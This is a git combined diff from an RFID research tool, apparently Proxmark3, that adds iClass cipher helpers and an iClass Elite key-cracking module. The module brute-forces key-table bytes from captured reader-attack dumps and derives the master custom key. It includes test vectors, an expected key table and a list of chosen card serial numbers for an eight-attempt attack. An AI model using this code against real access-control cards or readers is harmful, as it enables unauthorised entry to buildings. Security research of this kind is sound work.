++      char* output = malloc(outsize);
++      memset(output, 0,outsize);
++
++      int i ;
++      cx = snprintf(output,outsize, "uint8_t %s[] = {", name);
++      for(i =0 ;  i< len ; i++)
++      {
++              cx += snprintf(output+cx,outsize-cx,"0x%02x,",*(arr+i));//5 bytes per byte
++      }
++      cx += snprintf(output+cx,outsize-cx,"};");
++      prnlog(output);
++}
++
++void printvar(char * name, uint8_t* arr, int len)
++{
++      int cx;
++      size_t outsize = 40+strlen(name)+len*2;
++      char* output = malloc(outsize);
++      memset(output, 0,outsize);
++
++      int i ;
++      cx = snprintf(output,outsize,"%s = ", name);
++      for(i =0 ;  i< len ; i++)
++      {
++              cx += snprintf(output+cx,outsize-cx,"%02x",*(arr+i));//2 bytes per byte
++      }
++
++      prnlog(output);
++}
++
++void printarr_human_readable(char * title, uint8_t* arr, int len)
++{
++      int cx;
++      size_t outsize = 100+strlen(title)+len*4;
++      char* output = malloc(outsize);
++      memset(output, 0,outsize);
++      int i;
++      cx = snprintf(output,outsize,  "\n\t%s\n", title);
++      for(i =0 ;  i< len ; i++)
++      {
++              if(i % 16 == 0)
++                      cx += snprintf(output+cx,outsize-cx,"\n%02x| ", i );
++              cx += snprintf(output+cx,outsize-cx, "%02x ",*(arr+i));
++      }
++      prnlog(output);
++}
++
+ //-----------------------------
+ // Code for testing below
+ //-----------------------------
+ int testBitStream()
+ {
+       uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF};
+       uint8_t output [] = {0,0,0,0,0,0,0,0};
+       BitstreamIn in = { input, sizeof(input) * 8,0};
+       BitstreamOut out ={ output, 0,0}
+                                         ;
+       while(bitsLeft(&in) > 0)
+       {
+               pushBit(&out, headBit(&in));
+               //printf("Bits left: %d\n", bitsLeft(&in));
+               //printf("Bits out: %d\n", numBits(&out));
+       }
+       if(memcmp(input, output, sizeof(input)) == 0)
+       {
 -              printf("Bitstream test 1 failed\n");
++              prnlog("    Bitstream test 1 ok");
+       }else
+       {
 -                      printf("IN %02x, OUT %02x\n", input[i], output[i]);
++              prnlog("    Bitstream test 1 failed");
+               uint8_t i;
+               for(i = 0 ; i < sizeof(input) ; i++)
+               {
 -              printf("Bitstream test 2 ok\n");
++                      prnlog("    IN %02x, OUT %02x", input[i], output[i]);
+               }
+               return 1;
+       }
+       return 0;
+ }
+ int testReversedBitstream()
+ {
+       uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF};
+       uint8_t reverse [] = {0,0,0,0,0,0,0,0};
+       uint8_t output [] = {0,0,0,0,0,0,0,0};
+       BitstreamIn in = { input, sizeof(input) * 8,0};
+       BitstreamOut out ={ output, 0,0};
+       BitstreamIn reversed_in ={ reverse, sizeof(input)*8,0};
+       BitstreamOut reversed_out ={ reverse,0 ,0};
+       while(bitsLeft(&in) > 0)
+       {
+               pushBit(&reversed_out, tailBit(&in));
+       }
+       while(bitsLeft(&reversed_in) > 0)
+       {
+               pushBit(&out, tailBit(&reversed_in));
+       }
+       if(memcmp(input, output, sizeof(input)) == 0)
+       {
 -              printf("Bitstream test 2 failed\n");
++              prnlog("    Bitstream test 2 ok");
+       }else
+       {
 -                      printf("IN %02x, MIDDLE: %02x, OUT %02x\n", input[i],reverse[i], output[i]);
++              prnlog("    Bitstream test 2 failed");
+               uint8_t i;
+               for(i = 0 ; i < sizeof(input) ; i++)
+               {
++                      prnlog("    IN %02x, MIDDLE: %02x, OUT %02x", input[i],reverse[i], output[i]);
+               }
+               return 1;
+       }
+       return 0;
+ }
+ int testCipherUtils(void)
+ {
++      prnlog("[+] Testing some internals...");
+       int retval = 0;
+       retval |= testBitStream();
+       retval |= testReversedBitstream();
+       return retval;
+ }
index 0000000000000000000000000000000000000000,84435da949a24c14fc58a9b69180ca6e29cc7758..acf96115b59c32b6a61c90becfdab33a6ab1de30
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,55 +1,59 @@@
 -bool xorbits_8(uint8_t val);
 -bool xorbits_16(uint16_t val);
+ /*****************************************************************************
+  * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+  * used in iClass, and RFID techology.
+  *
+  * The implementation is based on the work performed by
+  * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+  * Milosch Meriac in the paper "Dismantling IClass".
+  *
+  * Copyright (C) 2014 Martin Holst Swende
+  *
+  * This is free software: you can redistribute it and/or modify
+  * it under the terms of the GNU General Public License version 2 as published
+  * by the Free Software Foundation.
+  *
+  * This file is distributed in the hope that it will be useful,
+  * but WITHOUT ANY WARRANTY; without even the implied warranty of
+  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  * GNU General Public License for more details.
+  *
+  * You should have received a copy of the GNU General Public License
+  * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+  ****************************************************************************/
+ #ifndef CIPHERUTILS_H
+ #define CIPHERUTILS_H
+ #include <stdint.h>
+ #include <stdbool.h>
+ #include <stdlib.h>
+ typedef struct {
+       uint8_t * buffer;
+       uint8_t numbits;
+       uint8_t position;
+ } BitstreamIn;
+ typedef struct {
+       uint8_t * buffer;
+       uint8_t numbits;
+       uint8_t position;
+ }BitstreamOut;
+ bool headBit( BitstreamIn *stream);
+ bool tailBit( BitstreamIn *stream);
+ void pushBit( BitstreamOut *stream, bool bit);
+ int bitsLeft( BitstreamIn *stream);
 -
++
+ int testCipherUtils(void);
+ int testMAC();
+ void push6bits( BitstreamOut* stream, uint8_t bits);
+ void EncryptDES(bool key[56], bool outBlk[64], bool inBlk[64], int verbose) ;
++void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
++uint64_t x_bytes_to_num(uint8_t* src, size_t len);
+ uint8_t reversebytes(uint8_t b);
+ void reverse_arraybytes(uint8_t* arr, size_t len);
++void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len);
++void printarr(char * name, uint8_t* arr, int len);
++void printvar(char * name, uint8_t* arr, int len);
++void printarr_human_readable(char * title, uint8_t* arr, int len);
+ #endif // CIPHERUTILS_H
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..27a2a1bc372b3b3fc55d46886ec2eaee2308bb1a
new file mode 100644 (file)
--- /dev/null
--- /dev/null
@@@ -1,0 -1,0 +1,526 @@@
++#include <stdint.h>
++#include <stdbool.h>
++#include <string.h>
++#include <stdio.h>
++#include <time.h>
++#include "cipherutils.h"
++#include "cipher.h"
++#include "ikeys.h"
++#include "elite_crack.h"
++#include "fileutils.h"
++#include "des.h"
++
++/**
++ * @brief Permutes a key from standard NIST format to Iclass specific format
++ *    from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
++ *
++ *    If you permute [6c 8d 44 f9 2a 2d 01 bf]  you get  [8a 0d b9 88 bb a7 90 ea]  as shown below.
++ *
++ *    1 0 1 1 1 1 1 1  bf
++ *    0 0 0 0 0 0 0 1  01
++ *    0 0 1 0 1 1 0 1  2d
++ *    0 0 1 0 1 0 1 0  2a
++ *    1 1 1 1 1 0 0 1  f9
++ *    0 1 0 0 0 1 0 0  44
++ *    1 0 0 0 1 1 0 1  8d
++ *    0 1 1 0 1 1 0 0  6c
++ *
++ *    8 0 b 8 b a 9 e
++ *    a d 9 8 b 7 0 a
++ *
++ * @param key
++ * @param dest
++ */
++void permutekey(uint8_t key[8], uint8_t dest[8])
++{
++
++      int i;
++      for(i = 0 ; i < 8 ; i++)
++      {
++              dest[i] =       (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
++                                      (((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
++                                      (((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
++                                      (((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
++                                      (((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
++                                      (((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
++                                      (((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
++                                      (((key[0] & (0x80 >> i)) >> (7-i)) << 0);
++      }
++
++      return;
++}
++/**
++ * Permutes  a key from iclass specific format to NIST format
++ * @brief permutekey_rev
++ * @param key
++ * @param dest
++ */
++void permutekey_rev(uint8_t key[8], uint8_t dest[8])
++{
++      int i;
++      for(i = 0 ; i < 8 ; i++)
++      {
++              dest[7-i] =     (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
++                                      (((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
++                                      (((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
++                                      (((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
++                                      (((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
++                                      (((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
++                                      (((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
++                                      (((key[7] & (0x80 >> i)) >> (7-i)) << 0);
++      }
++}
++
++/**
++ * Helper function for hash1
++ * @brief rr
++ * @param val
++ * @return
++ */
++uint8_t rr(uint8_t val)
++{
++      return val >> 1 | (( val & 1) << 7);
++}
++/**
++ * Helper function for hash1
++ * @brief rl
++ * @param val
++ * @return
++ */
++uint8_t rl(uint8_t val)
++{
++  return val << 1 | (( val & 0x80) >> 7);
++}
++/**
++ * Helper function for hash1
++ * @brief swap
++ * @param val
++ * @return
++ */
++uint8_t swap(uint8_t val)
++{
++      return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
++}
++
++/**
++ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
++ * when constructing the K_sel.
++ * @param csn the CSN used
++ * @param k output
++ */
++void hash1(uint8_t csn[] , uint8_t k[])
++{
++      k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7];
++      k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7];
++      k[2] = rr(swap( csn[2]+k[1] ));
++      k[3] = rr(swap( csn[3]+k[0] ));
++      k[4] = ~rr(swap( csn[4]+k[2] ))+1;
++      k[5] = ~rr(swap( csn[5]+k[3] ))+1;
++      k[6] = rr( csn[6]+(k[4]^0x3c) );
++      k[7] = rl( csn[7]+(k[5]^0xc3) );
++      int i;
++      for(i = 7; i >=0; i--)
++              k[i] = k[i] & 0x7F;
++}
++
++
++/**
++ * @brief Reads data from the iclass-reader-attack dump file.
++ * @param dump, data from a iclass reader attack dump.  The format of the dumpdata is expected to be as follows:
++ *            <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
++ *            .. N times...
++ *
++ *    So the first attack, with 3 bytes to recover would be : ... 03000145
++ *    And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
++ *    And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
++ *
++ * @param cc_nr an array to store cc_nr into (12 bytes)
++ * @param csn an arracy ot store CSN into (8 bytes)
++ * @param received_mac an array to store MAC into (4 bytes)
++ * @param i the number to read. Should be less than 127, or something is wrong...
++ * @return
++ */
++int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i)
++{
++      size_t itemsize = sizeof(dumpdata);
++      //dumpdata item =  {0};
++      memcpy(item,dump+i*itemsize, itemsize);
++      if(true)
++      {
++              printvar("csn", item->csn,8);
++              printvar("cc_nr", item->cc_nr,12);
++              printvar("mac", item->mac,4);
++      }
++      return 0;
++}
++
++static uint32_t startvalue = 0;
++/**
++ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
++ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
++ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
++ *It updates the keytable with the findings, also using the upper half of the 16-bit ints
++ *to signal if the particular byte has been cracked or not.
++ *
++ * @param dump The dumpdata from iclass reader attack.
++ * @param keytable where to write found values.
++ * @return
++ */
++int bruteforceItem(dumpdata item, uint16_t keytable[])
++{
++      int errors = 0;
++      uint8_t key_sel_p[8] = { 0 };
++      uint8_t div_key[8] = {0};
++      int found = false;
++      uint8_t key_sel[8] = {0};
++      uint8_t calculated_MAC[4] = { 0 };
++
++      //Get the key index (hash1)
++      uint8_t key_index[8] = {0};
++      hash1(item.csn, key_index);
++
++
++      /*
++       * Determine which bytes to retrieve. A hash is typically
++       * 01010000454501
++       * We go through that hash, and in the corresponding keytable, we put markers
++       * on what state that particular index is:
++       * - CRACKED (this has already been cracked)
++       * - BEING_CRACKED (this is being bruteforced now)
++       * - CRACK_FAILED (self-explaining...)
++       *
++       * The markers are placed in the high area of the 16 bit key-table.
++       * Only the lower eight bits correspond to the (hopefully cracked) key-value.
++       **/
++      uint8_t bytes_to_recover[3] = {0};
++      uint8_t numbytes_to_recover = 0 ;
++      int i;
++      for(i =0 ; i < 8 ; i++)
++      {
++              if(keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
++              bytes_to_recover[numbytes_to_recover++] = key_index[i];
++              keytable[key_index[i]] |= BEING_CRACKED;
++
++              if(numbytes_to_recover > 3)
++              {
++                      prnlog("The CSN requires > 3 byte bruteforce, not supported");
++                      printvar("CSN", item.csn,8);
++                      printvar("HASH1", key_index,8);
++
++                      //Before we exit, reset the 'BEING_CRACKED' to zero
++                      keytable[bytes_to_recover[0]]  &= ~BEING_CRACKED;
++                      keytable[bytes_to_recover[1]]  &= ~BEING_CRACKED;
++                      keytable[bytes_to_recover[2]]  &= ~BEING_CRACKED;
++
++                      return 1;
++              }
++      }
++
++      /*
++       *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
++       */
++      uint32_t brute = startvalue;
++      /*
++         Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
++         (when brute reaches 0x100). And so on...
++         bytes_to_recover = 1 --> endmask = 0x0000100
++         bytes_to_recover = 2 --> endmask = 0x0010000
++         bytes_to_recover = 3 --> endmask = 0x1000000
++      */
++
++      uint32_t endmask =  1 << 8*numbytes_to_recover;
++
++      for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
++              prnlog("Bruteforcing byte %d", bytes_to_recover[i]);
++
++      while(!found && !(brute & endmask))
++      {
++
++              //Update the keytable with the brute-values
++              for(i =0 ; i < numbytes_to_recover; i++)
++              {
++                      keytable[bytes_to_recover[i]] &= 0xFF00;
++                      keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF);
++              }
++
++              // Piece together the key
++              key_sel[0] = keytable[key_index[0]] & 0xFF;key_sel[1] = keytable[key_index[1]] & 0xFF;
++              key_sel[2] = keytable[key_index[2]] & 0xFF;key_sel[3] = keytable[key_index[3]] & 0xFF;
++              key_sel[4] = keytable[key_index[4]] & 0xFF;key_sel[5] = keytable[key_index[5]] & 0xFF;
++              key_sel[6] = keytable[key_index[6]] & 0xFF;key_sel[7] = keytable[key_index[7]] & 0xFF;
++
++              //Permute from iclass format to standard format
++              permutekey_rev(key_sel,key_sel_p);
++              //Diversify
++              diversifyKey(item.csn, key_sel_p, div_key);
++              //Calc mac
++              doMAC(item.cc_nr, div_key,calculated_MAC);
++
++              if(memcmp(calculated_MAC, item.mac, 4) == 0)
++              {
++                      for(i =0 ; i < numbytes_to_recover; i++)
++                              prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]);
++                      found = true;
++                      break;
++              }
++              brute++;
++              if((brute & 0xFFFF) == 0)
++              {
++                      printf("%d",(brute >> 16) & 0xFF);
++                      fflush(stdout);
++              }
++      }
++      if(! found)
++      {
++              prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover);
++              printvar("CSN",item.csn,8);
++              errors++;
++              //Before we exit, reset the 'BEING_CRACKED' to zero
++              for(i =0 ; i < numbytes_to_recover; i++)
++              {
++                      keytable[bytes_to_recover[i]]  &= 0xFF;
++                      keytable[bytes_to_recover[i]]  |= CRACK_FAILED;
++              }
++
++      }else
++      {
++              for(i =0 ; i < numbytes_to_recover; i++)
++              {
++                      keytable[bytes_to_recover[i]]  &= 0xFF;
++                      keytable[bytes_to_recover[i]]  |= CRACKED;
++              }
++
++      }
++      return errors;
++}
++
++
++/**
++ * From dismantling iclass-paper:
++ *    Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
++ *    Then he can simply recover the master custom key K_cus by computing
++ *    K_cus = ~DES(z[0] , y[0] ) .
++ *
++ *    Furthermore, the adversary is able to verify that he has the correct K cus by
++ *    checking whether z [0] = DES enc (K_cus , ~K_cus ).
++ * @param keytable an array (128 bytes) of hash2(kcus)
++ * @param master_key where to put the master key
++ * @return 0 for ok, 1 for failz
++ */
++int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] )
++{
++      des_context ctx_e = {DES_ENCRYPT,{0}};
++
++      uint8_t z_0[8] = {0};
++      uint8_t y_0[8] = {0};
++      uint8_t z_0_rev[8] = {0};
++      uint8_t key64[8] = {0};
++      uint8_t key64_negated[8] = {0};
++      uint8_t result[8] = {0};
++
++      // y_0 and z_0 are the first 16 bytes of the keytable
++      memcpy(y_0,first16bytes,8);
++      memcpy(z_0,first16bytes+8,8);
++
++      // Our DES-implementation uses the standard NIST
++      // format for keys, thus must translate from iclass
++      // format to NIST-format
++      permutekey_rev(z_0, z_0_rev);
++
++      // ~K_cus = DESenc(z[0], y[0])
++      des_setkey_enc( &ctx_e, z_0_rev );
++      des_crypt_ecb(&ctx_e, y_0, key64_negated);
++
++      int i;
++      for(i = 0; i < 8 ; i++)
++      {
++              key64[i] = ~key64_negated[i];
++      }
++
++      // Can we verify that the  key is correct?
++      // Once again, key is on iclass-format
++      uint8_t key64_stdformat[8] = {0};
++      permutekey_rev(key64, key64_stdformat);
++
++      des_setkey_enc( &ctx_e, key64_stdformat );
++      des_crypt_ecb(&ctx_e, key64_negated, result);
++      prnlog("\nHigh security custom key (Kcus):");
++      printvar("Std format   ", key64_stdformat,8);
++      printvar("Iclass format", key64,8);
++
++      if(master_key != NULL)
++              memcpy(master_key, key64, 8);
++
++      if(memcmp(z_0,result,4) != 0)
++      {
++              prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
++              return 1;
++      }else{
++              prnlog("Key verified ok!\n");
++      }
++      return 0;
++}
++/**
++ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
++ * @param dump
++ * @param dumpsize
++ * @param keytable
++ * @return
++ */
++int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
++{
++      uint8_t i;
++      int errors = 0;
++      size_t itemsize = sizeof(dumpdata);
++      clock_t t1 = clock();
++
++      dumpdata* attack = (dumpdata* ) malloc(itemsize);
++
++      for(i = 0 ; i * itemsize < dumpsize ; i++ )
++      {
++              memcpy(attack,dump+i*itemsize, itemsize);
++              errors += bruteforceItem(*attack, keytable);
++      }
++      free(attack);
++      clock_t t2 = clock();
++      float diff = (((float)t2 - (float)t1) / CLOCKS_PER_SEC );
++      prnlog("\nPerformed full crack in %f seconds",diff);
++
++      // Pick out the first 16 bytes of the keytable.
++      // The keytable is now in 16-bit ints, where the upper 8 bits
++      // indicate crack-status. Those must be discarded for the
++      // master key calculation
++      uint8_t first16bytes[16] = {0};
++
++      for(i = 0 ; i < 16 ; i++)
++      {
++              first16bytes[i] = keytable[i] & 0xFF;
++              if(!(keytable[i] & CRACKED))
++              {
++                      prnlog("Error, we are missing byte %d, custom key calculation will fail...", i);
++              }
++      }
++      errors += calculateMasterKey(first16bytes, NULL);
++      return errors;
++}
++/**
++ * Perform a bruteforce against a file which has been saved by pm3
++ *
++ * @brief bruteforceFile
++ * @param filename
++ * @return
++ */
++int bruteforceFile(const char *filename, uint16_t keytable[])
++{
++
++      FILE *f = fopen(filename, "rb");
++      if(!f) {
++              prnlog("Failed to read from file '%s'", filename);
++              return 1;
++      }
++
++      fseek(f, 0, SEEK_END);
++      long fsize = ftell(f);
++      fseek(f, 0, SEEK_SET);
++
++      uint8_t *dump = malloc(fsize);
++    size_t bytes_read = fread(dump, fsize, 1, f);
++
++      fclose(f);
++    if (bytes_read < fsize)
++    {
++        prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize );
++    }
++      return bruteforceDump(dump,fsize,keytable);
++}
++/**
++ *
++ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
++ * @param filename
++ * @return
++ */
++int bruteforceFileNoKeys(const char *filename)
++{
++      uint16_t keytable[128] = {0};
++      return bruteforceFile(filename, keytable);
++}
++
++// ---------------------------------------------------------------------------------
++// ALL CODE BELOW THIS LINE IS PURELY TESTING
++// ---------------------------------------------------------------------------------
++// ----------------------------------------------------------------------------
++// TEST CODE BELOW
++// ----------------------------------------------------------------------------
++
++int _testBruteforce()
++{
++      int errors = 0;
++      if(true){
++              // First test
++              prnlog("[+] Testing crack from dumpfile...");
++
++              /**
++                Expected values for the dumpfile:
++                      High Security Key Table
++
++                      00  F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
++                      10  BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
++                      20  14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
++                      30  A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
++                      40  78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
++                      50  31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
++                      60  3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
++                      70  43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
++
++                      **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
++              **/
++              uint16_t keytable[128] = {0};
++              //save some time...
++              startvalue = 0x7B0000;
++              errors |= bruteforceFile("iclass_dump.bin",keytable);
++      }
++      return errors;
++}
++
++int _test_iclass_key_permutation()
++{
++      uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
++      uint8_t testcase_output[8] = {0};
++      uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
++      uint8_t testcase_output_rev[8] = {0};
++      permutekey(testcase, testcase_output);
++      permutekey_rev(testcase_output, testcase_output_rev);
++
++
++      if(memcmp(testcase_output, testcase_output_correct,8) != 0)
++      {
++              prnlog("Error with iclass key permute!");
++              printarr("testcase_output", testcase_output, 8);
++              printarr("testcase_output_correct", testcase_output_correct, 8);
++              return 1;
++
++      }
++      if(memcmp(testcase, testcase_output_rev, 8) != 0)
++      {
++              prnlog("Error with reverse iclass key permute");
++              printarr("testcase", testcase, 8);
++              printarr("testcase_output_rev", testcase_output_rev, 8);
++              return 1;
++      }
++
++      prnlog("[+] Iclass key permutation OK!");
++      return 0;
++}
++
++int testElite()
++{
++      prnlog("[+] Testing iClass Elite functinality...");
++      prnlog("[+] Testing key diversification ...");
++
++      int errors = 0 ;
++      errors +=_test_iclass_key_permutation();
++      errors += _testBruteforce();
++      return errors;
++
++}
++
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..c1fa3f1c072e2170b184f62f8f14747b56492fe5
new file mode 100644 (file)
--- /dev/null
--- /dev/null
@@@ -1,0 -1,0 +1,108 @@@
++#ifndef ELITE_CRACK_H
++#define ELITE_CRACK_H
++void permutekey(uint8_t key[8], uint8_t dest[8]);
++/**
++ * Permutes  a key from iclass specific format to NIST format
++ * @brief permutekey_rev
++ * @param key
++ * @param dest
++ */
++void permutekey_rev(uint8_t key[8], uint8_t dest[8]);
++//Crack status, see below
++#define CRACKED                       0x0100
++#define BEING_CRACKED 0x0200
++#define CRACK_FAILED  0x0400
++
++/**
++ * Perform a bruteforce against a file which has been saved by pm3
++ *
++ * @brief bruteforceFile
++ * @param filename
++ * @param keytable an arrah (128 x 16 bit ints). This is where the keydata is stored.
++ * OBS! the upper part of the 16 bits store crack-status,
++ * @return
++ */
++int bruteforceFile(const char *filename, uint16_t keytable[]);
++/**
++ *
++ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
++ * @param filename
++ * @return
++ */
++int bruteforceFileNoKeys(const char *filename);
++/**
++ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
++ * @param dump
++ * @param dumpsize
++ * @param keytable
++ * @return
++ */
++int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]);
++
++/**
++  This is how we expect each 'entry' in a dumpfile to look
++**/
++typedef struct {
++      uint8_t csn[8];
++      uint8_t cc_nr[12];
++      uint8_t mac[4];
++
++}dumpdata;
++
++/**
++ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
++ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
++ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
++ *It updates the keytable with the findings, also using the upper half of the 16-bit ints
++ *to signal if the particular byte has been cracked or not.
++ *
++ * @param dump The dumpdata from iclass reader attack.
++ * @param keytable where to write found values.
++ * @return
++ */
++int bruteforceItem(dumpdata item, uint16_t keytable[]);
++/**
++ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
++ * when constructing the K_sel.
++ * @param csn the CSN used
++ * @param k output
++ */
++void hash1(uint8_t csn[] , uint8_t k[]);
++
++/**
++ * From dismantling iclass-paper:
++ *    Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
++ *    Then he can simply recover the master custom key K_cus by computing
++ *    K_cus = ~DES(z[0] , y[0] ) .
++ *
++ *    Furthermore, the adversary is able to verify that he has the correct K cus by
++ *    checking whether z [0] = DES enc (K_cus , ~K_cus ).
++ * @param keytable an array (128 bytes) of hash2(kcus)
++ * @param master_key where to put the master key
++ * @return 0 for ok, 1 for failz
++ */
++int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] );
++
++/**
++ * @brief Test function
++ * @return
++ */
++int testElite();
++
++/**
++        Here are some pretty optimal values that can be used to recover necessary data in only
++        eight auth attempts.
++// CSN                                        HASH1                                      Bytes recovered //
++{ {0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0} , {0x01,0x01,0x00,0x00,0x45,0x01,0x45,0x45 } ,{0,1 }},
++{ {0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0} , {0x02,0x0c,0x01,0x00,0x45,0x01,0x45,0x45} , {2,12}},
++{ {0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0} , {0x07,0x45,0x0b,0x00,0x45,0x01,0x45,0x45} , {7,11}},
++{ {0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0} , {0x03,0x0f,0x00,0x00,0x45,0x01,0x45,0x45} , {3,15}},
++{ {0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0} , {0x04,0x00,0x08,0x00,0x45,0x01,0x45,0x45} , {4,8}},
++{ {0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0} , {0x0e,0x06,0x08,0x00,0x45,0x01,0x45,0x45} , {6,14}},
++{ {0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0} , {0x0b,0x09,0x0f,0x00,0x45,0x01,0x05,0x45} , {9,5}},
++{ {0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0} , {0x0d,0x0f,0x0a,0x00,0x45,0x01,0x05,0x45} , {10,13}},
++
++**/
++
++
++#endif
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..2f7b6b6554405771334297b054a24ddc064b4d50
new file mode 100644 (file)
--- /dev/null
--- /dev/null
@@@ -1,0 -1,0 +1,65 @@@
++#include <stdio.h>
++#include <string.h>
++#include <stdlib.h>
++#include <sys/stat.h>
++#include <stdarg.h>
++#include "fileutils.h"
++#include "ui.h"
++/**
++ * @brief checks if a file exists
++ * @param filename
++ * @return
++ */
++int fileExists(const char *filename) {
++      struct stat st;
++      int result = stat(filename, &st);
++      return result == 0;
++}
++
++int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
++{
++      int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
++      char * fileName = malloc(size);
++
++      memset(fileName,0,size);
++      int num = 1;
++      sprintf(fileName,"%s.%s", preferredName, suffix);
++      while(fileExists(fileName))
++      {
++              sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
++              num++;
++      }
++      /* We should have a valid filename now, e.g. dumpdata-3.bin */
++
++      /*Opening file for writing in binary mode*/
++      FILE *fileHandle=fopen(fileName,"wb");
++      if(!fileHandle) {
++              prnlog("Failed to write to file '%s'", fileName);
++              return 1;
++      }
++      fwrite(data, 1, datalen, fileHandle);
++      fclose(fileHandle);
++      prnlog("Saved data to '%s'", fileName);
++      free(fileName);
++
++      return 0;
++}
++
++/**
++ * Utility function to print to console. This is used consistently within the library instead
++ * of printf, but it actually only calls printf (and adds a linebreak).
++ * The reason to have this method is to
++ * make it simple to plug this library into proxmark, which has this function already to
++ * write also to a logfile. When doing so, just delete this function.
++ * @param fmt
++ */
++void prnlog(char *fmt, ...)
++{
++
++      va_list args;
++      va_start(args,fmt);
++    PrintAndLog(fmt, args);
++    //vprintf(fmt,args);
++      va_end(args);
++    //printf("\n");
++}
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..a0f5a799e246e4f7a9a80fb1d3545098b14a0b8e
new file mode 100644 (file)
--- /dev/null
--- /dev/null
@@@ -1,0 -1,0 +1,24 @@@
++#ifndef FILEUTILS_H
++#define FILEUTILS_H
++/**
++ * @brief Utility function to save data to a file. This method takes a preferred name, but if that
++ * file already exists, it tries with another name until it finds something suitable.
++ * E.g. dumpdata-15.txt
++ * @param preferredName
++ * @param suffix the file suffix. Leave out the ".".
++ * @param data The binary data to write to the file
++ * @param datalen the length of the data
